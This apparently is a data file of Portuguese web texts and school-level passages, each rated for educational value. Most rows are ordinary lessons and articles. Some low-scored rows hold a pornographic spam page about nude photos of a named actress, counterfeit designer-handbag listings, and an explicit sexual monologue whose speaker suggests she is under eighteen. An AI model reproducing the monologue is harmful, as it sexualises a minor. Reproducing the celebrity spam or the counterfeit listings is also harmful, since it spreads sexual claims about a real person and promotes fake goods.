cedo. Pequenas mudanças no seu dia a dia podem fazer uma grande diferença na sua saúde e bem-estar. Lembre-se: cuidar do seu corpo é um investimento no seu futuro! Qual será o próximo sistema do corpo que você vai explorar?",Ciências,Corpo humano e saúde,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir de forma lúdica e acessível o funcionamento dos sistemas do corpo humano, utilizando analogias como 'cidade movimentada'. A linguagem é adequada para o ensino fundamental, e o conteúdo promove hábitos saudáveis. A progressão das explicações é clara, e o texto estimula a curiosidade e o cuidado com a saúde. Apesar de não ser um material didático completo, ele cumpre um papel importante na introdução ao tema.",5,1.0 +"Fotos Nua » Marjorie Estiano nua pelada fotos | FotosNua +By adminOn June 11, 2017 6079 views ★★★★★Marjorie Estiano nua pelada fotos,3.31 / 5 ( 16votes )You need to enable JavaScript to vote FotosNua - Marjorie Estiano nua pelada fotos : Mulher Nua, Famosas Nua, Gostosa Nua, Mulher Melancia, Fotos, Playboy, novinha nua, lindas mulheres peladas. +marjorie estiano nua, marjorie estiano playboy, Playboy Marjorie Estiano, Marjorie Estiano nua na Playboy, majorie estiano nua, marjore pelada, marjerie estiano playboy nua, www majore stiano pelada, marjore estiano nua de buceta aberta, marjóre estiano nuazinha mostrando a bela bucetinha, marjorestiano nua, margore estyano nua, Marge estiano nua, manjor cantora nua, majorieestianonua, Image da marge nua abuceta, fotos marjorie estiano nua, fotos marjorie estiano, fotos de Paola Oliveira porno, foto nua da cantora Marjorie Estiano Download by size:Handphone/Tablet/Desktop (Original size) Tags: #bora #cdata #css #estado #galeria #getseconds #image #legenda #recent #recent-posts #tamanho « Facebook Twitter...Google PlusDiggRedditLinkedinStumbleuponDeliciousEmail friend» Related Post ""Marjorie Estiano nua pelada fotos""tarada por picabunduda gostosa pelada nuaMinha namorada#gostosas #pelada na #piscinaSão Paulina Peladinha gostosa e BucetudaRihanna mostrando a xoxota nua FB Comments",original,original,original,original,0,0.0 +"8 em cada 10 só conseguem benefício especial na Justiça – Marinho Ferraz & Lemos – Advogados Associados +NOTÍCIA INSERIDA 1 de abril de 2019 1 de abril de 2019 POR Gerenciador Marinho & Ferraz +Entre benefícios pagos pelo INSS em janeiro, 78% foram por ordem judicial +Em janeiro deste ano, o INSS liberou 1.356 aposentadorias especiais a trabalhadores urbanos, sendo que 1.064 das concessões (78,5%) se deram pela via judicial, segundo a edição mais recente do Boletim Estatístico da Previdência Social, o primeiro a informar dados sobre o grau de judicialização desses benefícios. O elevado número de concessões judiciais é atribuído por especialistas às restrições impostas pelo INSS ao reconhecimento de provas do trabalho insalubre, como nos casos em que o órgão previdenciário aceita como eficaz equipamentos de proteção que, na prática, não impedem o dano ao trabalhador. “Sempre soubemos que muitas das concessões de benefícios especiais só eram possíveis pela via judicial, mas faltavam dados para confirmar isso”, afirma Adriane Bramante, presidente do IBDP (Instituto Brasileiro de Direito Previdenciário). “É muito raro conseguir esse tipo de benefício na via administrativa”, diz. +A aposentadoria especial é devida ao trabalhador que completa períodos de atividade insalubre que variam entre 15, 20 e 25 anos, sendo que as diferenças nos tempos de contribuição exigidos dependem do nível do risco à saúde do empregado (baixo, moderado ou alto). Além de não exigir idade mínima e de antecipar a concessão em até 20 anos, a aposentadoria especial também não sofre redução do fator previdenciário, o que faz do benefício um dos mais vantajosos do Regime Geral da Previdência Social. A comprovação da exposição a agentes nocivos —ruído elevado, substâncias tóxicas ou infectantes, por exemplo— é atualmente comprovada por um formulário chamado PPP (Perfil Profissiográfico Previdenciário). O documento deve ser fornecido pelo empregador. Atividades insalubres realizadas até 28 de abril de 1995 são reconhecidas de acordo com a profissão. Procurado pela reportagem, o INSS não comentou. Reforma tira vantagens do benefício A PEC (proposta de emenda à Constituição) da reforma da Previdência, se for aprovada sem alterações pelo Congresso, fará a aposentadoria especial perder as vantagens oferecidas hoje ao segurado que trabalha em condições prejudiciais à saúde. A principal mudança imposta pelo projeto do governo de Jair Bolsonaro (PSL) é o fim do benefício com o valor integral da média dos salários de contribuição. +Além disso, com a reforma, a aposentadoria especial por insalubridade só poderá ser solicitada pelo segurado que completar as idades de 55, 58 ou 60 anos. A variação na idade mínima é aplicada conforme o grau de insalubridade da atividade. A expectativa de vida poderá elevar essas idades a partir de 2024. +Aproposta ainda reforça alguns obstáculos já presentes nas regras atuais, como a necessidade de comprovar a efetiva exposição a agentes nocivos à saúde, acabando assim com a possibilidade de enquadramento por categoria profissional, como permite a regra de hoje para atividades realizadas até 1995. +https://agora.folha.uol.com.br/grana/2019/03/8-em-cada-10-so-conseguem-beneficio-especial-na-justica.shtml?fbclid=IwAR0c3GHFUN-o0MeTVLiZ2ogOrAc1Tz5ooF8i_AimRq0aDnsjQ7XAWXjIpUo",original,original,original,original,3,0.6 +"O desempenho de uma CPU é afetado à medida que ela envelhece? [fechadas] | shelleyness.com +Questão O desempenho de uma CPU é afetado à medida que ela envelhece? [fechadas] +Esta é uma questão hipotética sobre como uma CPU opera. Se eu comprar dois processadores idênticos e usar um longo prazo (digamos, um ano), ele será idêntico em velocidade à CPU não usada? O número de ciclos de clock, latência de solicitações, etc. na CPU usada será menor que o da CPU não usada? +Um argumento de apoio pode ser que os dispositivos mecânicos se degradam com o tempo. Enquanto uma CPU não tem partes móveis (exceto a ventoinha externa), ela possui circuitos que podem ser danificados pelo calor e picos de tensão. Vamos dizer que depois de um ano de uso intensivo, os circuitos se degradam e menos elétrons podem passar, já que o caminho é mais estreito, etc. +Essa é a natureza de como uma CPU opera ou está simplesmente funcionando ou quebrada, sem nenhuma degradação de velocidade? +Eu suponho que, em teoria, uma CPU poderia rodar mais lentamente à medida que o mecanismo de resfriamento não esfria de forma tão eficiente quanto costumava (talvez o ventilador quebre um pouco e não consiga atingir a velocidade máxima), acho que algumas CPUs podem automaticamente reduza a velocidade do clock se eles detectarem que estão muito quentes. Observe que isso não significa que a própria CPU esteja envelhecendo para um desempenho ruim; Nesse cenário, substituir um ventilador ruim provavelmente permitiria que a CPU fosse executada tão rapidamente quanto quando era nova. Eu não tenho nenhuma referência para isso, mas parece plausível para mim ... - FrustratedWithFormsDesigner +@FrustratedWithFormsDesigner, eu vi um notebook da Dell acelerar seu processador severamente porque ele achava que estava ficando muito quente (principalmente através do design ruim, eu acredito). É totalmente viável que a acumulação de poeira ao longo do tempo também pode causar isso, mas você está certo de que não é estritamente a idade que causa isso. - Highly Irregular +O que fica mais lento é o software. - Daniel R Hicks +Aqui está um ótimo artigo do IEEE escrito especificamente no que diz respeito ao envelhecimento de transistores eu recomendo que qualquer pessoa interessada neste tópico leia. - Breakthrough +@ JoãoPortela é tudo relativo. A CPU funcionará na mesma velocidade / tensão até que alguns transistores parem de funcionar corretamente devido à idade. A única maneira de resolver o problema nesse ponto é diminuir a velocidade do clock reduzindo a velocidade do clock ou aumentar a tensão de operação (envelhecimento dos transistores no chip da CPU). E, claro, ao longo do tempo, as unidades de geração de clock na CPU também se tornam instáveis, levando a mais instabilidade do clock. - Breakthrough +O desempenho de uma CPU é afetado à medida que ela envelhece? +depois de um ano de uso intensivo, os circuitos degradam e menos elétrons pode passar desde que o caminho é mais estreito, etc. +a velocidade de uma CPU é determinada por um oscilador de cristal - Tanto quanto eu sei que esta é uma parte externa para a maioria das CPUs +Imagem de Artigo da TechRepublic +Cristais sofrem lenta mudança gradual de freqüência com o tempo, conhecido como envelhecimento. +No entanto, suspeito que isso não seja um fator significativo. +Deriva com a idade é tipicamente 4 ppm para o primeiro ano e 2 ppm por ano para o vida do cristal DT-26. +(por TI relativo a um RTC IC, mas acredito que esta taxa é semelhante para os cristais de temporização em geral) +Mudanças no semicondutor da CPU +Avanço postou um link para um Artigo do IEEE que descreve a miríade de maneiras que os semicondutores são afetados ao longo do tempo. +Portanto, é possível que a velocidade máxima do clock da CPU seja reduzida ao longo do tempo. No entanto, na maioria dos casos, isso não fará com que a velocidade máxima teórica do processador caia, dentro de um ano, abaixo da velocidade real de operação definida pelo oscilador de cristal. Portanto, uma CPU...",original,original,original,original,3,0.6 +"Observe que há algumas exceções: Quase todos os nomes de países e cidades são femininos. Em pessoas, o sexo que define o gênero do substantivo. Além disso, há casos excepcionais em que certos substantivos, apesar da falta do sufixo feminino, correspondem ao sexo feminino, como por exemplo, as partes do corpo que são pares (braços, pernas, etc). +Confira a lista a seguir com alguns substantivos femininos, que não têm a ""terminação feminina"" (ة). +Ao aprender um substantivo árabe, você deve sempre aprender também o seu gênero gramatical. +Os substantivos árabes podem ser definidos ou indefinidos. Na página seguinte você encontra mais informações.",original,original,original,original,3,0.6 +"aloneasyou: O primeiro dia +Fonte: Texto extraído do livro “Não te deixarei morrer, David Crockett”, Editora Nova Fronteira – Rio de Janeiro, 2005, pág. 23. +Posted by alone Dated02jul2011 +Postado por RUI às 11:34 +Marcadores: absurda , chão , criança , escritores Portugueses , miguel sousa tavares , o primeiro dia , sobrava",original,original,original,original,1,0.2 +"Estudo Prático » Física » Densidade +Densidade é o termo usado na química para nomear a relação entre a massa de um determinado material e o volume que ele ocupa.… +Por Natália Petrin em 09/12/2014 +Densidade é o termo usado na química para nomear a relação entre a massa de um determinado material e o volume que ele ocupa. Ficou difícil entender? Vamos explicar melhor. A densidade é usada para determinar quanto daquela matéria pode ser colocada em uma determinada unidade de voluma. Por exemplo, vamos considerar o leite e o mercúrio. A primeira substância possui uma densidade menor do que a da segunda, de forma que podemos concluir que em um mesmo volume teremos mais matéria de mercúrio do que de leite. +Substâncias e suas densidades +A densidade, apesar de no SI ser expressa em kg/m³, normalmente é expressa em gramas por centímetro cúbico, ou seja, g/cm³, independentemente de se tratar de uma substância sólida ou líquida. Confira abaixo alguns elementos comuns em nosso dia a dia e suas densidades: +O cálculo da densidade pode ser feito de uma forma muito simples: basta que você divida a massa pelo volume, conforme demonstrado na expressão abaixo. +Quando observamos essa expressão, podemos chegar a uma conclusão: a densidade é inversamente proporcional ao volume, ou seja, quanto maior a densidade, menor será o volume ocupado por uma determinada massa de uma substância. Não deu para entender? Vamos pensar… 1 kg de chumbo e 1 kg de algodão tem o mesmo peso, ou seja, 1 kg. Mas será que ocupam o mesmo espaço? 1 kg de algodão ocupará muito mais espaço do que 1 kg de chumbo, portanto a densidade do chumbo é maior do que a do algodão. +O volume é uma grandeza química que pode ser alterada pela temperatura e pela pressão e, diante deste fato, podemos chegar à conclusão de que a densidade também será alterada por esses fatores. Para entender melhor como isso afeta, podemos pegar a água, uma substância que todos conhecem e tem familiaridade. Quando a temperatura está em aproximadamente 4°C e a uma pressão de 1,0 atm, a densidade será igual a 1,0 g/m³. Isso, no entanto, será completamente diferente quando a temperatura for abaixo de 0°C, mesmo que esteja sob a mesma pressão. A densidade diminuirá para 0,92 g/cm³. +Por que o gelo boia? +Analisando a densidade da água, podemos chegar também à explicação de por que o gelo boia. O material que tem uma densidade menor flutuará naquele de densidade maior. Como o gelo possui uma densidade inferior à da água no estado líquido, ele acabará boiando quando inserido nela. Informar erro",original,original,original,original,4,0.8 +"Já parou para pensar de onde vêm as coisas que usamos no dia a dia? A água que bebemos, a madeira da nossa mesa, o metal do nosso celular… Tudo isso, e muito mais, vem da natureza! Chamamos esses elementos essenciais de recursos naturais. Eles são tudo aquilo que a natureza nos oferece para suprir nossas necessidades, desde as mais básicas, como respirar (graças ao ar!), até as mais complexas, como construir casas e cidades. + +No Brasil, somos muito afortunados por termos uma grande variedade de recursos naturais. A água, por exemplo, é um recurso essencial. Temos rios enormes como o Amazonas e o São Francisco, que fornecem água para beber, para a agricultura e para gerar energia elétrica através das hidrelétricas. Mas, será que estamos cuidando bem desse recurso tão importante? A poluição dos rios e o desperdício de água em casa são grandes desafios que precisamos enfrentar. + +Além da água, temos uma grande diversidade de minerais, como o ferro, utilizado na produção de aço para construir carros e edifícios, e o alumínio, presente em latas de refrigerante e panelas. As florestas, como a Amazônia e a Mata Atlântica, nos fornecem madeira, celulose para a fabricação de papel e uma infinidade de produtos naturais utilizados na medicina e na alimentação. Mas, a exploração descontrolada das florestas pode causar o desmatamento, um problema grave que afeta o clima e a vida de muitos animais e plantas. + +A energia também é um recurso natural muito importante. Além da energia hidrelétrica, que já mencionamos, o Brasil tem investido em outras fontes de energia, como a energia solar, que vem do sol, e a energia eólica, que vem do vento. Essas energias são chamadas de renováveis, porque se renovam naturalmente, ao contrário do petróleo, que é um recurso não renovável e que um dia pode acabar. + +Cuidar dos recursos naturais é responsabilidade de todos nós. Pequenas atitudes no dia a dia podem fazer a diferença, como economizar água, separar o lixo para reciclagem, usar transporte público ou bicicleta em vez de carro, e consumir produtos de empresas que se preocupam com o meio ambiente. Ao preservar os recursos naturais, estamos garantindo um futuro melhor para nós e para as próximas gerações. Pense nisso: o que você pode fazer hoje para ajudar a cuidar do nosso planeta?",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando o tema de recursos naturais de forma clara e acessível para o ensino fundamental. Apresenta informações básicas relevantes, introduz conceitos importantes relacionados ao currículo escolar de forma coerente e com estilo de escrita claro e consistente, além de estimular a reflexão e ação em relação à sustentabilidade. É excepcional, pois apresenta raciocínio detalhado e de fácil compreensão.",5,1.0 +"Flexibilizar para não demitir, com Anna Carolina Cabral +Empresas estão propondo aos empregados o ajuste de benefícios para evitar cortes. Direitos previstos na CLT não podem ser mexidos +A alta do desemprego no país tem feito com que as empresas proponham aos empregados a flexibilização de benefícios para evitar demissões. Uma forma de evitar os custos dos desligamentos e as possíveis demandas judiciais na Justiça do Trabalho. As negociações podem ocorrer no âmbito do Programa de Proteção ao Emprego (PPE), do governo federal, ou através de acordos coletivos entre os sindicatos patronais e dos trabalhadores. Existem os benefícios indiretos concedidos pelo empregador que podem ser flexibilizados e até cortados. Já a redução de jornada com a diminuição de salários só pode ser levada adiante por tempo determinado e com a concordância dos trabalhadores. +Entre os ajustes que podem ser feitos pelas empresas, por exemplo, está o corte de celular e de veículo para os trabalhadores que usam esses benefícios indiretos. Os direitos previstos na Consolidação das Leis do Trabalho (CLT), como carteira assinada, férias, 13º salário e salário em dia não podem ser flexibilizados. ""Existem benefícios concedidos por livre vontade do empregador que podem ser retirados. Outros obrigatórios, previstos em negociação coletiva, podem ser flexibilizados neste momento de crise"", aponta a advogada Anna Carolina Cabral, do escritório Queiroz Cavalcanti. +Segundo a especialista, a primeira coisa que as empresas fazem para enfrentar a crise é desligar funcionários para cortar custos. Ela alerta que a demissão pode piorar a situação e gerar uma reclamação trabalhista no futuro. Uma alternativa que pode ser usada é a redução de jornada com a redução de salário. A medida é polêmica porque a Constituição Federal garante a irredutibilidade dos salários. ""A empresa pode adotar (essa medida) desde que haja a concordância do trabalhador e a empresa comprove a dificuldade financeira, e seja de forma temporária"", diz Anna Carolina. +Uma das categorias mais afetadas pelas demissões em Pernambuco é a dos metalúrgicos. Os trabalhadores estão negociando a flexibilização de jornada. A empresa Maxtil, fabricante de eletrocalhas (bandejas que fornecem suporte para a passagem de fios e cabos elétricos), propôs a redução de jornada com a redução de salários pelas regras do PPE. A proposta será analisada numa reunião entre os representantes dos trabalhadores e da empresa, que terá mediação da Superintendência Regional do Trabalho e Emprego (SRTE-PE). Procurada pelo Diario, a Maxtil preferiu não se pronunciar. Será o primeiro acordo do PPE no estado. +O diretor do Sindmetal Edson José de Araújo informa que as negociações são preliminares. ""Nós somos contra a redução de jornada, mas dentro do PPE os trabalhadores não terão a redução de salário porque o governo vai cobrir a perda salarial"", destaca. Segundo ele, aumentou a procura das empresas para fechar o acordo de compensação de horas extras através de banco de horas.",original,original,original,original,2,0.4 +"Olá, pequenos exploradores! Já pararam para pensar de onde vêm as pessoas que moram na nossa cidade, no nosso estado, no nosso Brasil? Nosso país é muito grande e cheio de gente diferente, com costumes e histórias incríveis! Vamos embarcar numa aventura para descobrir um pouco mais sobre a população e a cultura do Brasil? + +Imagine que o Brasil é como uma grande sala de aula, onde cada aluno tem um jeito de ser, uma cor de pele, uma comida preferida e uma história para contar. Algumas pessoas têm os olhos puxados, outras têm a pele mais escura, outras adoram comer pizza e outras preferem um bom prato de feijão com arroz. Essa mistura toda é o que torna o Brasil tão especial e rico em cultura! + +No começo, os povos indígenas já viviam aqui, com suas próprias línguas, crenças e costumes. Depois, chegaram os portugueses, que vieram de um país bem distante, do outro lado do oceano. Eles trouxeram sua língua, a religião católica e muitos outros costumes. Mais tarde, muitos africanos foram trazidos para o Brasil, contra a sua vontade, para trabalhar como escravos. Eles trouxeram sua música, sua dança, sua culinária e sua religião, que também influenciaram muito a nossa cultura. + +Com o passar do tempo, pessoas de outros países, como italianos, alemães, japoneses e muitos outros, também vieram morar no Brasil. Cada um trouxe um pouquinho da sua cultura, que se misturou com as culturas já existentes, formando essa grande mistura que é a cultura brasileira. Por exemplo, a pizza que tanto amamos veio da Itália, e o sushi que comemos no restaurante japonês também! + +A população do Brasil é formada por essa mistura de povos e culturas. É por isso que somos tão diferentes uns dos outros. Mas, apesar das diferenças, todos nós somos brasileiros e devemos respeitar e valorizar a cultura de cada um. Afinal, é essa diversidade que torna o nosso país tão especial! + +Agora, pensem um pouquinho: como a cultura da sua família contribui para a cultura do Brasil? Qual é a sua comida preferida? Que música você mais gosta de ouvir? Qual é a sua brincadeira favorita? Todas essas coisas fazem parte da nossa cultura e nos tornam únicos e especiais! + +E assim, meus pequenos exploradores, chegamos ao fim da nossa aventura. Espero que tenham aprendido um pouco mais sobre a população e a cultura do Brasil. Lembrem-se sempre de respeitar e valorizar a diversidade cultural do nosso país, pois é ela que nos torna tão ricos e especiais!",Geografia,População e cultura,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, pois introduz de forma clara e acessível o tema da diversidade cultural brasileira para crianças. A analogia com a 'sala de aula' facilita a compreensão. Aborda a contribuição de diferentes povos (indígenas, portugueses, africanos, italianos, etc.) na formação da cultura nacional, incentivando o respeito e a valorização das diferenças. As perguntas ao final estimulam a reflexão pessoal e a conexão com o tema. O estilo é adequado ao público-alvo.",5,1.0 +"Oi, meu querido internauta… Meu nome é Maria Lúcia, mas gosto que me chamem de Malu. Sabe por que? É que assim rima com a parte do meu corpo que mais me da prazer, sabe…? Hoje estou disponível só para você, gato internauta. Pára um pouco de teclar esse computador e olha para mim. Estou aqui para realizar os teus desejos… eu sei muito bem o que você quer de mim, seu safadinho… Que tal, não sou bonitinha? O que você acha de mim? Quantos anos acha que eu tenho? Vinte? Dezoito? Ha, um pouquinho menos… mas garanto que eu sei fazer coisas que mulheres com mais idade ainda nunca experimentaram… Fique aí sentadinho na frente do teu micro que eu cuido de tudo, gatão… Está ficando quente, não? Acho que vou tirar a roupa, você deixa? Primeiro a blusinha, depois a calça… Pronto.. Que tal estou, assim de calcinha e soutien? Gosta? Vou dar uma voltinha assim… Hum, você não tira os olhos do meu bumbum, ein? Já sei o que você quer, é o que todos vocês querem… Você gostaria muito de me ver fazendo strip, não é? Tá bom, seu taradinho… Você quer me ver dançando enquanto vou tirando o soutien, né? Pronto, já tirei… Então, gostou dos meus peitinhos? Não são muito grandes mas são gostosinhos, né? Você gosta quando eu encosto eles na tua cara? Isso, apalpa eles… Quer dar um beijinho neles? Eu deixo sim… Pode dar uma chupadinha sim, se quiser… Ummm… Assim… Ai, que chupão gostoso… E essa mão boba na minha bundinha, pára com isso… Não, não vou tirar a calcinha ainda… Agora não, só quando chegar a hora… Assim é mais gostoso, você fica mais tentado… Vira esse banquinho para cá que vou me ajoelhar na tua frente. Você me chupou e deixou meus biquinhos durinhos… será que você não tem alguma coisa para eu chupar e deixar durinho também? Por exemplo, esse volume no meio das tuas pernas… Posso brincar com ele? Vou tirar o teu cinto e abaixar tua calça, assim. Ai, parece que tem uma cobra enorme dentro da tua sunga… Deixa eu ver? Hum, que salsichão você tem, com um cabeção gordo e vermelho que nem um pirulito… Sabe que adoro chupar pirulito? Acho que vou fazer isso mesmo. Primeiro vou te lamber esse cabeção com a pontinha da língua. Depois vou mais pra baixo, lambendo todo o comprimento desse salame delicioso. Umm… E esse saco peludo com dois ovinhos dentro, posso lamber também? Ai, vou chupar um desses ovinhos, parece ovinho de Páscoa… (chupo chupo chupo) Não é gostoso? É impressão minha ou esse salsichão tá ficando cada vez maior e mais duro? Acho que vou experimentar botar esse cabeção na boca e dar uma chupadinha… Um… (chupo chupo chupo) Ai, que rola grossa, quase não cabe na minha boca… Mas sou gulosa e vou engolir inteirinho esse cacetão (glub glub glub) assim, todinho… Umm… Como é gostoso chupar pica, principalmente quando ela cresce e engorda dentro da minha boca assim… Umm… Isso quero o teu caralho bem grandão (chupo chupo chupo)… bem grosso (chupo chupo chupo)… bem duro para mim (glub glub glub) … Pronto, ele está duro feito pedra, prontinho para me comer… Sabe o que eu vou fazer agora? Vou sentar no teu colo e dar uma reboladinha… Vou esfregar meu bumbum no teu pau… Não é gostoso? Ai, que coisa dura e quente roçando na minha bundinha… Isso, apalpa meus peitinhos com uma mão e bota a outra aqui na frente, dentro da minha calcinha… Está sentindo o molhadinho da minha xaninha? Bolina assim, meu gato… Ai que gostoso… Agora vou puxar a calcinha de lado para você encostar a cabeça do teu pinto na minha xotinha… Olha como tá vermelhinho esse cabeção… Abre os lábios da minha buceta com teus dedos e mete… Isso, mete gostoso… Ai… Vou subindo e descendo, subindo e descendo e a tua piroca vai entrando cada vez mais fundo… Mete na minha bucetinha, mete mais… Ai, me fode assim, me fode gostoso… Ai… (fode fode fode) Ai, que delícia, que tesão… Como é bom trepar com você… Agora tira que eu tenho uma sobremesa deliciosa para você… Isso mesmo… Chegou a hora… Deixa eu abaixar devagarzinho a minha calcinha… Assim, pronto, que tal? Você gostou do meu bumbum, ein? Está do...",original,original,original,original,0,0.0 +"LANÇAMENTO BOLSA CHAN£L - ITALIANA +LANÇAMENTO, BOLSA CHAN£L RUE CAMBON BLUE - TOP PREMIUM +R$1.699,00 R$2.499,00 +Bolsa Fend1 - Italiana Premium +Bolsa FendI Black M- Italiana Premium +R$1.749,00 R$2.899,00 +Lançamento LV Rivol1 BB - Linha Premium +Bolsa Baú LV Sp€€dy Monogram 30 ou 35cm - Linha Premium +R$949,00 R$1.499,00 +Bolsa Bau Sp€€dy Monogram 30 ou 35cm - Linha Premium +Bolsa Méli& Monogram - Linha Premium +R$1.090,00 R$1.499,00 +Lançamento Bolsa LV Crois€tte - Linha Premium +Bolsa LV Kes1ngton Canvas - Linha Premium +Lançamento Bolsa LV Masculina - Linha Italiana +BOLSA CHAN€L MINI ROSA - LINHA PREMIUM +BOLSA CHAN€L MINI AZUL - LINHA PREMIUM +BOLSA CHAN€L MINI BLACK - LINHA PREMIUM +R$1.400,00 R$1.900,00 +BOLSA CHAN€L MINI AZUL ESCURO - LINHA PREMIUM +BOLSA CHAN€L MINI FERRAGEM BLACK - LINHA PREMIUM +R$1.450,00 R$1.900,00 +61 Página de 101 +62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 >",original,original,original,original,0,0.0 +"ACQUATICOS: O STRESS NOS HABITANTES AQUATICOS +O STRESS NOS HABITANTES AQUATICOS +06:50 By ACQUATICOS , In CURIOSIDADDES +O stress é a reação fisiológica que um animal trata de manter ou restabelecer seu metabolismo normal frente a agentes externos. As reações de stress são geralmente por reações hormonais e nervosas. +O stress esta ligado diretamente às condições ambientais de nosso aquário. +As causas mais comuns que afeta o peixe e leva ao stress são: +Compostos nitrogenados, amônia, nitrito, nitrato, fosfato, parâmetros da água como pH, GH, KH incorreto ao peixe e os demais habitantes, transporte, sustos excessivos, adaptação ao novo ambiente após ser adquirido junto à loja, alimentação de má qualidade, temperaturas que oscilam iluminação inadequada, superpopulação, agressões causadas por outros habitantes mais agressivos, todos estes problemas descrito acima podem levar os habitantes de nosso aquário ao stress causando a perda da resistência da noite para o dia. O stress determina uma queda na imunidade dos habitantes de nosso aquário, fazendo que haja aparecimento de infecções e doenças. +Quase toda alteração de comportamento habitual do peixe é sinal de ""stress"". Cada espécie reage de forma distinta ao ""stress"", uns ficam na superfície, outros preferem a profundidade, outros nadam sem parar, enquanto outros ficam parados. Mas de modo geral descreveremos alguns sinais mais comuns de stress que observamos em nossos habitantes aquáticos: o peixe sobe a superfície na tentativa de conseguir mais oxigênio, este é típico de aquários com problemas de intoxicações na água por compostos nitrogenados. Outro sinal observado é que, o peixe não se alimenta ou se alimenta mal. Alguns peixes sob ""stress"" ficam tímidos e se escondem. Se o peixe apresenta nadadeiras roídas ou feridas sobre o corpo, poderá estar sendo alvo de agressores de peixes maiores e mais agressivos, oscilações de temperaturas afeta diretamente no metabolismo do peixe causando lhe um imenso stress, parâmetro irregular da água torna mais difícil a sobrevivência do seres aquáticos, pois terá que desprender de uma grande quantidade de energia para se adaptar ao meio em que se encontra. E também sabemos bem que o ""stress"" da mesma forma que desencadeia doenças é desencadeado, quando se encontra doente. Portanto a maioria das doenças tanto químicas como infecto parasitárias desencadeiam ""stress"" no peixe. +Teremos que saber cuidar de todos estes fatores assim como, cuidarmos da qualidade da água e seus parâmetros, alimentação, temperatura, brigas entre habitantes, e de todas as condições do sistema, fazer manutenções com freqüência, proporcionarmos dia e noite para os habitantes de nosso aquário com um sistema de iluminação adequada de boa qualidade. +Para que não haja doenças e ate mortes causadas pelo stress devemos seguir estas pequenas regras. +AQUÁRIO OS MAIORES SÃO MELHOR +COMO FUNCIONA O pH EM NOSSO AQUÁRIO +PRINCIPAIS NUTRIENTES PARA AS PLANTAS +COMO ADAPTAR UM NOVO PEIXE +CIANOBACTÉRIA: BACTÉRIA QUE PARECE ALGA +O BÁSICO PARA O PLANTADO +TROCAS PARCIAIS +COMO AGE O CO2 NO AQUÁRIO +SUBSTRATO O QUANTO É IMPORTANTE +COMO ACABAR COM AS ALGAS",original,original,original,original,4,0.8 +" Projeto RYLA | Leonardo Allevato +Rotary, RYLA +by Leonardo Allevato on abril 2nd, 2014 +O RYLA (Prêmios Rotários de Liderança Juvenil) é um programa intensivo do Rotary International de treinamento para pessoas de 14 a 30 anos de idade, que buscam o aprimoramento do caráter e o desenvolvimento da capacidade de liderança. Os jovens selecionados participam de eventos (seminários, workshops, acampamentos) de um a dez dias de duração organizados por rotarianos de um ou vários clubes ou distritos. +No dia 29 de março de 2014, o Rotary Club Coronel Fabriciano Norte, pertencente ao Distrito 4520, realizou um RYLA na região do Vale do Aço, MG. Cerca de 40 jovens atenderam ao chamado para participar do evento, mostrando a importância do projeto na vida desses jovens. Para esse primeiro evento do clube, foi programado um ciclo de palestras de um dia inteiro, com intervalos para almoço e lanche fornecidos pela organização do evento e pelas empresas parceiras. +Logo após a abertura do evento, o Sr. Antonio, proprietário da rede de padarias Premially, empresa parceira do evento, pediu a palavra e falou para os jovens da importância desse evento no futuro das cidades da região, justificando seu apoio constante aos projetos do Rotary. +Para começar o ciclo de palestras, o companheiro João Bosco, do RC Coronel Fabriciano Norte, falou sobre o Rotary e os programas para jovens, destacando o Rotaract, o Interact, os programas de intercâmbio e o próprio RYLA. +A seguir, o companheiro José Amilar, do RC Ipatinga, falou sobre o tema “Promovendo a paz mundial através do Rotary”, mostrando aos jovens o trabalho que o Rotary faz no mundo inteiro visando à paz. +Foi interessante observar que, por causa dessas duas palestras, onde houve inserções dos presidentes do Rotaract e do Interact do clube, muitos jovens participantes procuraram saber mais informações sobre esse programa, mostrando interessa em participar, principalmente, do Interact. +O Dr. Alysson Campos renomado médico e escritor da região falou sobre “Liderança na juventude”, mostrando aos jovens os caminhos que levam ao sucesso pessoal e profissional. +O professor Wallace Carvalho, coordenador do curso de Direito do UNILESTE falou logo em seguida sobre “Como escolher a melhor carreira profissional”, dando subsídio aos jovens para as decisões que serão tomadas em um futuro muito próximo. +Um dos temas que coube a mim foi “O dia a dia em uma universidade”, onde fiz um comparativo sobre a escola – muitos deles já estão frequentando o Ensino Médio – e a faculdade que logo baterá às suas portas. +Depois do almoço, voltei a falar para os jovens, dessa vez sobre empreendedorismo e muito do que falei já havia sido falado por palestrantes anteriores, o que mostra que a escolha dos temas foi acertada e puderam fortalecer os conceitos apresentados. +A psicóloga Carmem Carvalho falou sobre o panorama do mercado de trabalho na região do Vale do Aço, do alto de sua experiência como orientadora de testes vocacionais para jovens, apresentando muitos casos interessantes. +O Dr. Vinícius Mesquita, defensor público da cidade de Ipatinga falou sobre a questão dos concursos públicos, contando sua experiência como “concurseiro” e, agora, como concursado, mostrando os prós e os contras de se escolher esse caminho na vida profissional. +Para finalizar, o companheiro Gláucio Jr, proprietário da rede de óticas Maria José, deu uma verdadeira aula de empreendedorismo, contando sua trajetória profissional e o caso de sucesso que é seu empreendimento. +Ao final do evento, os participantes receberam um certificado de participação e preencheram uma avaliação, que será utilizada para melhorar os próximos eventos, que pretendemos tornar um projeto permanente do RC Coronel Fabriciano Norte. +Para esse primeiro evento, não foi programado nada mais “prático”, justamente porque não saberíamos como seria a aceitação dos participantes. Entretanto, um dos pontos mais sugeridos na avaliação foi que o próximo evento tenha atividades mais práticas ...",original,original,original,original,4,0.8 +"Objeto: FORNECIMENTO DE VEÍCULO PICK-UP CABINE DUPLA 4X4 (DIESEL), conforme condições, quantidades e exigências estabelecidas na Proposta de aquisição número 11311333000/1160-08 das emendas parlamentares nº 26780009 e 26780008.",original,original,original,original,1,0.2 +"Farinha de berinjela - Conheça os benefícios - Saúde em Alta +Por Galdino 30/05/2015 30/04/2016 Alimentação, Saúde Conheça os benefícios da farinha de berinjela e tenha mais uma alternativa na cozinha +Alimento versátil, nem sempre a berinjela é a primeira opção devido ao seu aroma intenso. No entanto, as opções de receitas com ela são tantas e os pratos ficam tão enriquecidos que seria, no mínimo, injustificado não incluí-la no cardápio de alguma forma. +A seguir, conheça as principais características dessa farinha e o que ela pode fazer pelo seu corpo. +Principais características da farinha de berinjela +Infelizmente, ainda não existe uma 